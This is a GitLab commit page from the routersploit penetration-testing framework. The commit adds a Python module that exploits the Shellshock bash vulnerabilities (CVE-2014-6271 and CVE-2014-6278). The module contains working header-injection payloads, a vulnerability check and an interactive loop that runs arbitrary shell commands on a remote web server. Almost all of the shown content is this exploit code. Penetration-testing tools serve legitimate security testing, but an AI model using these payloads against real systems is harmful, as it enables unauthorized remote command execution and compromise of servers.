Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
2e2f1646
Commit
2e2f1646
authored
9 years ago
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Shellshock exploit added.
parent
fe5da03b
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
114 additions
and
0 deletions
+114
-0
shellshock.py
routersploit/modules/exploits/multi/shellshock.py
+114
-0
No files found.
routersploit/modules/exploits/multi/shellshock.py
0 → 100644
View file @
2e2f1646
import
re
import
string
from
routersploit
import
(
exploits
,
sanitize_url
,
print_status
,
print_error
,
print_success
,
print_info
,
random_text
,
http_request
,
mute
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Shellshock vulnerability.
If the target is vulnerable it allows to execute command on operating system level.
"""
__info__
=
{
'name'
:
'Shellshock'
,
'description'
:
'Exploits shellshock vulnerability that allows executing commands on operating system level.'
,
'authors'
:
[
'Marcin Bury <marcin.bury@reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://access.redhat.com/articles/1200223'
,
'http://seclists.org/oss-sec/2014/q3/649'
,
'http://blog.trendmicro.com/trendlabs-security-intelligence/shell-attack-on-your-server-bash-bug-cve-2014-7169-and-cve-2014-6271/'
,
],
'devices'
:
[
'Multi'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
path
=
exploits
.
Option
(
'/'
,
'Url path'
)
method
=
exploits
.
Option
(
'GET'
,
'HTTP method'
)
header
=
exploits
.
Option
(
'User-Agent'
,
'HTTP header injection point'
)
payloads
=
[
'() { :;};echo -e "
\\
r
\\
n{{marker}}$(/bin/bash -c "{{cmd}}"){{marker}}"'
,
# cve-2014-6271
'() { _; } >_[$($())] { echo -e "
\\
r
\\
n{{marker}}$(/bin/bash -c "{{cmd}}"){{marker}}"; }'
,
# cve-2014-6278
]
valid
=
None
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
else
:
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print_info
(
self
.
execute
(
cmd
))
def
execute
(
self
,
cmd
):
marker
=
random_text
(
32
)
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
injection
=
self
.
valid
.
replace
(
"{{marker}}"
,
marker
)
.
replace
(
"{{cmd}}"
,
cmd
)
headers
=
{
self
.
header
:
injection
,
}
response
=
http_request
(
method
=
self
.
method
,
url
=
url
,
headers
=
headers
)
if
response
is
None
:
return
regexp
=
"{}(.+?){}"
.
format
(
marker
,
marker
)
res
=
re
.
findall
(
regexp
,
response
.
text
,
re
.
DOTALL
)
if
len
(
res
):
return
res
[
0
]
else
:
return
""
@mute
def
check
(
self
):
number
=
int
(
random_text
(
6
,
alph
=
string
.
digits
))
solution
=
number
-
1
cmd
=
"echo $(({}-1))"
.
format
(
number
)
marker
=
random_text
(
32
)
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
for
payload
in
self
.
payloads
:
injection
=
payload
.
replace
(
"{{marker}}"
,
marker
)
.
replace
(
"{{cmd}}"
,
cmd
)
headers
=
{
self
.
header
:
injection
,
}
response
=
http_request
(
method
=
self
.
method
,
url
=
url
,
headers
=
headers
)
if
response
is
None
:
continue
if
str
(
solution
)
in
response
.
text
:
self
.
valid
=
payload
return
True
# target is vulnerable
return
False
# target not vulnerable
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment